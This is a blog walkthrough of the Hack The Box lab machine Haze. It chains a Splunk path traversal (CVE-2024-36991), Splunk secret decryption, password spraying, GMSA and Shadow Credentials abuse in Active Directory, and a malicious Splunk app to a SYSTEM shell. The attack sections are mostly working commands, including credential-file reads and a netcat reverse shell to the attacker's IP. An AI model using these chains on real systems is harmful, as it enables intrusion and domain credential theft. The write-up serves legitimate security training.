HTB Haze Walkthrough: Splunk RCE and AD Attack Chain

HTB Haze Writeup: CVE-2024-36991 on Splunk, credential decryption with splunksecrets, GMSA abuse, Shadow Credentials on AD and RCE up to SYSTEM.
- Posted on 2026-06-11
- Reading time: 7 min
Haze is a HTB (Hack The Box) Hard Windows machine that revolves entirely around Splunk Enterprise installed on a Domain Controller. The attack path is a progressive escalation chain: starting with an unauthenticated LFI on Splunk, decrypting encrypted credentials, abusing Active Directory ACLs with GMSA and Shadow Credentials, obtaining a shell via a malicious Splunk app, and terminating with PrintSpoofer on SYSTEM.
A machine that covers real-world red team techniques on enterprise environments — SIEM misconfiguration, DACL abuse, GMSA exploitation.
Enumeration — mynmap #
For scanning, I use mynmap , my custom nmap wrapper available at github.com/hack-ita/mynmap . I'll soon upload all the other custom tools I use during labs to the repo.
sudo mynmap 10.129.232.50Relevant output (from nmap.md):
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap (Domain: haze.htb, DC01)
445/tcp open microsoft-ds
5985/tcp open wsman
8000/tcp open http Splunkd httpd
8088/tcp open ssl/http Splunkd httpd
8089/tcp open ssl/http Splunkd httpd
clock-skew: mean: 7h53m13sThe pattern is immediate: ports 88 (Kerberos), 389 (LDAP), 445 (SMB) → Domain ControllerDomain haze.htb, hostname DC01.
Splunk Enterprise runs on three ports: 8000 (Web UI), 8089 (REST API), and 8088 (HTTP Event Collector). Port 8089 provides the following version:
curl -sk https://10.129.232.50:8089/ | grep version
# <generator build="78803f08aabb" version="9.2.1"/>Also note the clock skew of ~8 hours —the DC is ahead of our system. This is critical for Kerberos (which tolerates a maximum of 5 minutes of skew). It synchronizes before any Kerberos operation with the custom tool:
sudo mysynchronizehour 10.129.232.50
# [+] Sincronizzato con ntpdate: 10.129.232.50echo "10.129.232.50 haze.htb dc01.haze.htb DC01.haze.htb" >> /etc/hostsInitial Access — CVE-2024-36991 LFI #
The vulnerability #
Splunk Enterprise 9.2.1 on Windows is vulnerable to CVE-2024-36991 — path traversal on the endpoint /modules/messaging/ which allows arbitrary reading of system files without authentication (CVSS 7.5).
The technical cause: the Python function os.path.join Removes the drive letter from a path token if the drive matches the current directory. Splunk processes the URL path segment by segment, and this behavior becomes full LFI.
For a complete guide to Splunk exploitation: Splunk Pentesting — RCE and Privilege Escalation on Port 8089.
Interesting files to read via LFI #
These are the most useful paths to enumerate on a vulnerable Splunk instance:
# Credenziali e cifratura
/etc/passwd → hash utenti Splunk locali (SHA-512)
/etc/auth/splunk.secret → chiave AES master per decifrare password
/etc/auth/server.pem → certificato SSL Splunk
# Configurazioni con credenziali
/etc/system/local/authentication.conf → bind LDAP password cifrata ← JACKPOT
/etc/system/local/web.conf → config web
/etc/system/local/inputs.conf → connessioni DB e API key
# Log e sessioni
/var/log/splunk/splunkd.log
/var/log/splunk/audit.log
/var/run/splunk/session
# Configurazioni default
/etc/system/default/user-seed.conf → credenziali iniziali setup
/etc/system/default/server.conf
# App installate (possibili configurazioni custom con creds)
/etc/apps/Splunk_TA_windows/bin
/etc/apps/SplunkForwarder/localThe most important file is authentication.conf in local/ — contains the LDAP bind account password encrypted with splunk.secret. With both files, everything is decrypted.
Reading files via curl #
# Verifica vulnerabilità e dump hash utenti Splunk
curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd":admin:$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9...::Administrator:admin:changeme@example.com
:edward:$6$3LQHFzfmlpMgxY57$Sk32K6eknpAt...
:mark:$6$j4QsAJiV8mLg/bhA$Oa/l2cgCXF8Ux7x...
:paul:$6$Y5ds8NjDLd7SzOTW$Zg/WOJxk38KtI...SHA-512 hashes — uncrackable with rockyou. Get straight to the files that matter.
# authentication.conf — credenziali LDAP cifrate
curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf"[Haze LDAP Auth]
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
host = dc01.haze.htbThe format $7$ indicates AES256-GCM encryption — not a hash, a string that can be deciphered with the right key.
# splunk.secret — chiave master
curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret" -o splunk.secretDecryption with splunksecrets #
pip3 install splunksecrets
splunksecrets splunk-decrypt -S splunk.secret \
--ciphertext '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='
# Ld@p_Auth_Sp1unk@2k24The Distinguished Name of the file is CN=Paul Taylor — the correspondent sAMAccountName è paul.taylor:
nxc smb 10.129.232.50 -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24'
# [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24From paul.taylor to mark.adams — Password Spray #
paul.taylor It's in a restricted OU without WinRM. The password name doesn't appear to be personalized—it might be reused on other accounts in the domain.
# Dump lista utenti via RID brute
nxc smb 10.129.232.50 -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' \
--rid-brute 10000 | grep SidTypeUser | awk '{print $6}' | cut -d'\' -f2 > users.txt
# users.txt: Administrator, Guest, krbtgt, DC01$,
# paul.taylor, mark.adams, edward.martin, alexander.green, Haze-IT-Backup$
# Password spray
nxc smb 10.129.232.50 -u users.txt -p 'Ld@p_Auth_Sp1unk@2k24' \
--continue-on-success | grep '\[+\]'Hit: mark.adams:Ld@p_Auth_Sp1unk@2k24
mark.adams is a member of Remote Management Users → WinRM:
evil-winrm -i 10.129.232.50 -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24'User flag: C:\Users\mark.adams\Desktop\user.txt
From mark.adams to Haze-IT-Backup$ — GMSA Abuse #
BloodHound CE #
bloodhound-ce-python -d haze.htb -dc dc01.haze.htb \
-u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' \
-c ALL --zip -ns 10.129.232.50mark.adams is a member of the group gMSA_Managers. BloodHound CE however does not show edges towards Haze-IT-Backup$ — the path does not emerge automatically.
Manual DACL enumeration — nxc daclread #
This is where BloodHound falls short. The module -M daclread NetExec's functionality is fundamental: it allows you to directly read the ACLs of an AD object by filtering by specific principal, revealing permissions that graphical tools do not display.
# Step 1 — Verifica permessi del gruppo gMSA_Managers sull'account GMSA
nxc ldap 10.129.232.50 -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' \
-M daclread -o TARGET='HAZE-IT-BACKUP$' ACTION=read PRINCIPAL=gMSA_ManagersCritical Output:
ACE[5] info
Access mask : WriteProperty
Object type : ms-DS-GroupMSAMembership (888eedd6-ce04-df40-b462-b8a50e41ba38)
Trustee : gMSA_ManagersgMSA_Managers ha WriteProperty on the attribute msDS-GroupMSAMembership di Haze-IT-Backup$This attribute controls who can read the GMSA password—and we can change it.
# Step 2 — Verifica attributo msDS-GroupMSAMembership (attualmente solo Domain Admins)
bloodyAD --host 10.129.232.50 -d haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' \
get object 'HAZE-IT-BACKUP$' --resolve-sd --attr msDS-GroupMSAMembership
# Step 3 — Verifica writable
bloodyAD --host 10.129.232.50 -d haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' \
get writable --detail --otype COMPUTER
# msDS-GroupMSAMembership: WRITE ← confermatoExploit — Added to PrincipalsAllowedToRetrieveManagedPassword #
# Step 4 — Da Evil-WinRM come mark.adams
Set-ADServiceAccount -Identity Haze-IT-Backup \
-PrincipalsAllowedToRetrieveManagedPassword mark.adams
# Step 5 — Verifica
Get-ADServiceAccount -Identity Haze-IT-Backup -Properties * \
| select PrincipalsAllowedToRetrieveManagedPassword
# {CN=Mark Adams,CN=Users,DC=haze,DC=htb}# Step 6 — Leggi hash GMSA
nxc ldap 10.129.232.50 -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa
# Account: Haze-IT-Backup$ NTLM: 4de830d1d58c14e241aff55f82ecdba1From Haze-IT-Backup$ to edward.martin — DACL Chain + Shadow Credentials #
According to BloodHound with Haze-IT-Backup$ #
The first run with mark.adams It showed an incomplete AD. With the new GMSA account, the following is re-enumerated:
bloodhound-ce-python -d haze.htb -dc dc01.haze.htb \
-u 'HAZE-IT-BACKUP$' --hashes :4de830d1d58c14e241aff55f82ecdba1 \
-c ALL --zip -ns 10.129.232.50Now the graph shows the complete path:
Haze-IT-Backup$ → WriteOwner → Support_Services
Support_Services → AddKeyCredentialLink → edward.martin
Support_Services → ForceChangePassword → edward.martinForceChangePassword It is blocked by the minimum password age policy. It is used Shadow Credentials via AddKeyCredentialLink.
Step 1 — Change Ownership and Acquire GenericAll #
bloodyAD --host dc01.haze.htb -d haze.htb \
-u 'haze-it-backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' \
set owner 'SUPPORT_SERVICES' 'HAZE-IT-BACKUP$'
bloodyAD --host dc01.haze.htb -d haze.htb \
-u 'haze-it-backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' \
add genericAll 'SUPPORT_SERVICES' 'HAZE-IT-BACKUP$'
bloodyAD --host dc01.haze.htb -d haze.htb \
-u 'haze-it-backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' \
add groupMember 'SUPPORT_SERVICES' 'HAZE-IT-BACKUP$'Time Haze-IT-Backup$ he's in the group Support_Services that has AddKeyCredentialLink su edward.martin.
Step 2 — Shadow Credentials — AddKeyCredentialLink #
Add a PKINIT key (msDS-KeyCredentialLink) to the target account. This allows authentication via Kerberos with a certificate instead of a password, obtaining the TGT and from there the NT hash.
Requirements: GenericWrite o GenericAll on the target object + PKINIT supported by the DC.
First configure Kerberos with the custom tool:
mykrb5conf haze.htb DC01.haze.htb 10.129.232.50Manual method — pywhisker:
# 1. Aggiungi chiave con pywhisker
pywhisker -d "haze.htb" -u "Haze-IT-Backup$" \
-p ':4de830d1d58c14e241aff55f82ecdba1' \
--target "edward.martin" --action "add"
# output: FILE.pfx + password
# 2. Ottieni TGT con PKINIT
gettgtpkinit -cert-pfx FILE.pfx -pfx-pass 'PASS' \
-dc-ip 10.129.232.50 'haze.htb/edward.martin' edward.martin.ccache
# salva AS-REP key nell'output
# 3. Recupera NT hash
export KRB5CCNAME=edward.martin.ccache
getnthash -key AS_REP_KEY haze.htb/'edward.martin'
# output: 09e0b3eeb2e7a6b0d419e9ff8f4d91af
# 4. Accesso
nxc winrm 10.129.232.50 -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af
evil-winrm -i 10.129.232.50 -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91afQuick Alternative — bloodyAD:
bloodyAD --host dc01.haze.htb -d haze.htb \
-u 'Haze-IT-Backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' \
add shadowCredentials edward.martin
# NT: 09e0b3eeb2e7a6b0d419e9ff8f4d91afFrom edward.martin to alexander.green — Splunk Backup → RCE #
Splunk Backup to C:\Backups #
edward.martin he's in the group Backup_Reviewers → access to C:\Backups:
ls C:\Backups\Splunk
# splunk_backup_2024-08-06.zip (~27MB)I download the file to Kali and extract it. Then I immediately search for all the .conf containing encrypted values — the symbol $ is the delimiter of Splunk hash/encryption formats:
find . -name "*.conf" | xargs grep -l '\$' 2>/dev/null
# ./var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf
# ./var/run/splunk/confsnapshot/baseline_local/system/local/server.confTwo files. The path system/local That's what matters — it contains your custom instance configurations, not the defaults. server.conf has two hashes $7$ for pass4SymmKey e sslPassword — internal Splunk credentials, not useful for the domain. authentication.conf Instead it contains the LDAP bind account — the one we're interested in.
According to authentication.conf — alexander.green #
[Haze LDAP Auth]
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
host = dc01.haze.htbFormat $1$ — same mechanism as $7$ previous, different algorithm but still decipherable with splunk.secretThe key is also in the backup:
splunksecrets splunk-decrypt -S splunk.secret.bak \
--ciphertext '$1$YDz8WfhoCWmf6aTRkA+QqUI='
# Sp1unkadmin@2k24The password no longer works for alexander.green on SMB/WinRM — it's an old password. But it works like admin on Splunk Web on port 8000.
RCE via Splunk Malicious App #
With admin access to the Web UI, a malicious app is installed that automatically runs a script every 10 seconds. Full details on the technique: Splunk Pentesting — RCE via app deployment.
git clone https://github.com/0xjpuff/reverse_shell_splunk
cd reverse_shell_splunk
# Modifica run.ps1 con il tuo IP e porta
nano reverse_shell_splunk/bin/run.ps1
# Confeziona
tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunkUpload via web interface to URL:
http://10.129.232.50:8000/it-IT/manager/search/apps/localApps → Manage Apps → Install apps from file → upload of the .tgz
nc -lvnp 4444
# connect from 10.129.232.50 — shell come HAZE\alexander.greenFrom alexander.green to SYSTEM — PrintSpoofer #
Check privileges #
whoami /priv
# SeImpersonatePrivilege Enabledalexander.green is a Splunk service account — has SeImpersonatePrivilegeIt is used PrintSpoofer64 which uses the Print Spooler to coerce a SYSTEM authentication and impersonate it:
.\PrintSpoofer64.exe -c "C:\Users\alexander.green\AppData\Local\Temp\nc64.exe 10.10.14.172 80 -e cmd"
# [+] Found privilege: SeImpersonatePrivilege
# [+] Named pipe listening...
# [+] CreateProcessWithTokenW() OK# Su Kali — listener sulla porta 80
nc -lvnp 80
# nt authority\systemRoot flag: C:\Users\Administrator\Desktop\root.txt
Attack Path — Complete Diagram #
[Recon]
sudo mynmap 10.129.232.50
sudo mysynchronizehour 10.129.232.50 ← clock sync per Kerberos
↓
[CVE-2024-36991 LFI — nessuna auth]
/etc/system/local/authentication.conf → bindDNpassword $7$...
/etc/auth/splunk.secret → chiave AES master
↓
[splunksecrets decrypt]
paul.taylor:Ld@p_Auth_Sp1unk@2k24
↓
[Password Spray]
mark.adams:Ld@p_Auth_Sp1unk@2k24 → WinRM → USER FLAG
↓
[BloodHound CE + DACL manuale con nxc daclread]
gMSA_Managers → WriteProperty msDS-GroupMSAMembership su Haze-IT-Backup$
Set-ADServiceAccount → nxc ldap --gmsa → NTLM: 4de830...
↓
[DACL Chain con Haze-IT-Backup$]
WriteOwner → GenericAll → groupMember → Support_Services
Support_Services → AddKeyCredentialLink → edward.martin
↓
[Shadow Credentials — mykrb5conf + pywhisker/bloodyAD]
NT hash edward.martin: 09e0b3... → WinRM
↓
[Splunk Backup — C:\Backups]
find *.conf → authentication.conf: alexander.green / $1$ hash
splunk.secret → Sp1unkadmin@2k24 (admin Splunk Web)
↓
[Splunk RCE]
Upload malicious app → shell come alexander.green
↓
[SeImpersonatePrivilege]
PrintSpoofer64 → SYSTEM → ROOT FLAGMITRE ATT & CK #
| Technology | ID | Phase |
|---|---|---|
| Public-Facing Application Exploit | T1190 | Initial access |
| Unsecured Credentials in Files | T1552.001 | CredentialAccess |
| Valid Accounts — Domain Accounts | T1078.002 | Privilege Escalation |
| Password Spraying | T1110.003 | CredentialAccess |
| Account Manipulation — GMSA | T1098.007 | Privilege Escalation |
| Shadow Credentials | T1556 | CredentialAccess |
| Deploy Application | T1072 | Execution |
| PowerShell | T1059.001 | Execution |
| Token Impersonation (SeImpersonate) | T1134.001 | Privilege Escalation |
Lessons Learned #
Splunk on a DC is a dangerous combination. LDAP bind credentials are encrypted with a key on the filesystem—an unauthenticated LFI directly translates into domain credential theft.
BloodHound doesn't see everything. The path via WriteProperty su msDS-GroupMSAMembership It did not appear in the graph. Manual analysis is needed. nxc ldap -M daclread —a fundamental tool for reading ACLs on specific AD objects, filtering by principal. In real-world environments, this difference between "what BloodHound shows" and "what actually exists" can make the difference between rooting or not.
Production backups contain production credentials. Splunk backup had splunk.secret e authentication.conf with admin credentials. Storing unencrypted backups on hosts accessible even to limited-privileged users is a critical risk.
Clock skew is blocking for Kerberos. 8 hour difference makes TGT and PKINIT based operations unusable. mysynchronizehour resolve this before any operations on the domain.
Writeup on a machine retrieved from HackTheBox. For a deeper dive into the Splunk techniques used in this walkthrough, see Splunk Pentesting — RCE and Privilege Escalation on Port 8089.








